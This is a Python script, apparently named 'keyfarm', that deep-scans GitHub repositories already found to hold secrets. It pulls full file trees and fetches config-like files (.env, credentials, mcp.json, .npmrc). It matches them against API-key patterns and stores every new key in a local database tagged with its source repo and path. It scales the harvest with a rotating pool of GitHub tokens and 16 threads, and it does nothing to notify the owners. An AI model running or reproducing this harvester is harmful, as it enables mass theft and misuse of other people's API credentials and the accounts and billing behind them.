146 lines
5.0 KiB
Python
146 lines
5.0 KiB
Python
"""Deep repo scan: for each repo with hit history, pull full git tree,
|
|
fetch config-ish files, grep PATTERNS. Catches files beyond search paging."""
|
|
import os
|
|
KF_BASE = os.path.dirname(os.path.abspath(__file__))
|
|
os.makedirs(os.path.join(KF_BASE, "data"), exist_ok=True)
|
|
import hashlib
|
|
import sqlite3
|
|
import sys
|
|
import time
|
|
from concurrent.futures import ThreadPoolExecutor, as_completed
|
|
|
|
sys.path.insert(0, KF_BASE)
|
|
import requests # noqa: E402
|
|
from gh_eternal import PATTERNS, GARBAGE, POOL # noqa: E402
|
|
|
|
DB = os.environ.get("KF_DB") or os.path.join(KF_BASE, "data/keys.db")
|
|
N_THREADS = 16
|
|
S = requests.Session()
|
|
S.headers.update({"User-Agent": "keyfarm"})
|
|
|
|
# file-name filters: high-yield config carriers
|
|
HOT_NAMES = (".env", "config", "secret", "token", "apikey", "api_key",
|
|
"credential", "mcp.json", "settings", "keys.json", "auth",
|
|
"docker-compose", "dockerfile", ".npmrc", "application.yml",
|
|
"application.properties", "claude", "vercel", "netlify",
|
|
"readme", "example", "sample", "demo", "backup", "notes",
|
|
".bak", "history", "scratch", "tmp", "old", "copy")
|
|
HOT_EXT = (".env", ".json", ".yml", ".yaml", ".toml", ".ini", ".cfg",
|
|
".properties", ".ipynb", ".sh", ".md", ".txt", ".pem.key")
|
|
MAX_FILES_PER_REPO = 60
|
|
|
|
|
|
def log(msg):
|
|
print(f"[{time.strftime('%H:%M:%S')}] {msg}", flush=True)
|
|
|
|
|
|
def load_repos():
|
|
db = sqlite3.connect(DB, timeout=60)
|
|
c = db.cursor()
|
|
c.execute("SELECT repo FROM keys WHERE repo LIKE '_%/_%' "
|
|
"AND found IN ('gh-eternal','gh-dork2','retro-scan','legacy-waves')")
|
|
repos = set()
|
|
for (r,) in c.fetchall():
|
|
if r.count("/") >= 1 and len(r) < 150 and "…" not in r:
|
|
repo = "/".join(r.split("/")[:2])
|
|
if repo.isascii() and not repo.endswith(".git"):
|
|
repos.add(repo)
|
|
db.close()
|
|
return sorted(repos)
|
|
|
|
|
|
def repo_tree_files(repo, tok):
|
|
"""Full recursive tree of repo via API. Returns list of candidate paths."""
|
|
try:
|
|
r = S.get(
|
|
f"https://api.github.com/repos/{repo}/git/trees/HEAD?recursive=1",
|
|
headers={"Authorization": f"Bearer {tok}"},
|
|
timeout=20)
|
|
if r.status_code == 409: # empty repo
|
|
return []
|
|
if r.status_code != 200:
|
|
return None
|
|
paths = []
|
|
for t in r.json().get("tree", []):
|
|
if t.get("type") != "blob":
|
|
continue
|
|
p = t.get("path", "")
|
|
low = p.lower()
|
|
base = low.rsplit("/", 1)[-1]
|
|
if any(h in low for h in HOT_NAMES) or base.endswith(HOT_EXT):
|
|
if not any(x in low for x in ("node_modules/", "vendor/",
|
|
"dist/", "build/", ".min.")):
|
|
paths.append(p)
|
|
return paths[:MAX_FILES_PER_REPO]
|
|
except Exception:
|
|
return None
|
|
|
|
|
|
def fetch_and_scan(repo, path, tok):
|
|
try:
|
|
r = S.get(f"https://raw.githubusercontent.com/{repo}/HEAD/{path}",
|
|
headers={"Authorization": f"Bearer {tok}"},
|
|
timeout=20)
|
|
if r.status_code != 200 or len(r.text) > 2_000_000:
|
|
return []
|
|
found = []
|
|
for prov, rx in PATTERNS:
|
|
for key in rx.findall(r.text):
|
|
if isinstance(key, tuple):
|
|
key = key[0]
|
|
if any(g in key for g in GARBAGE) or len(key) < 30:
|
|
continue
|
|
found.append((prov, key))
|
|
return found
|
|
except Exception:
|
|
return []
|
|
|
|
|
|
def main(threads=N_THREADS):
|
|
repos = load_repos()
|
|
log(f"repos: {len(repos)} to deep-scan")
|
|
db = sqlite3.connect(DB, timeout=120, check_same_thread=False)
|
|
cur = db.cursor()
|
|
seen = {r[0] for r in cur.execute("SELECT val FROM keys").fetchall()}
|
|
new_total = 0
|
|
lock = __import__("threading").Lock()
|
|
|
|
def work(repo):
|
|
nonlocal new_total
|
|
tok = POOL.tokens[hash(repo) % len(POOL.tokens)]
|
|
paths = repo_tree_files(repo, tok)
|
|
if not paths:
|
|
return 0
|
|
n = 0
|
|
for p in paths:
|
|
for prov, key in fetch_and_scan(repo, p, tok):
|
|
if key in seen:
|
|
continue
|
|
with lock:
|
|
seen.add(key)
|
|
cur.execute(
|
|
"INSERT OR IGNORE INTO keys "
|
|
"(hash, val, prov, status, found, repo) VALUES (?,?,?,?,?,?)",
|
|
(hashlib.sha1(key.encode()).hexdigest()[:16], key, prov,
|
|
"NEW", "deep-scan", f"{repo}/{p}"))
|
|
new_total += 1
|
|
n += 1
|
|
return n
|
|
|
|
done = 0
|
|
with ThreadPoolExecutor(max_workers=threads) as ex:
|
|
futs = {ex.submit(work, r): r for r in repos}
|
|
for fut in as_completed(futs):
|
|
done += 1
|
|
if done % 50 == 0:
|
|
with lock:
|
|
db.commit()
|
|
log(f"{done}/{len(repos)} repos, +{new_total} new")
|
|
with lock:
|
|
db.commit()
|
|
log(f"done: +{new_total} new keys")
|
|
db.close()
|
|
|
|
|
|
if __name__ == "__main__":
|
|
main() |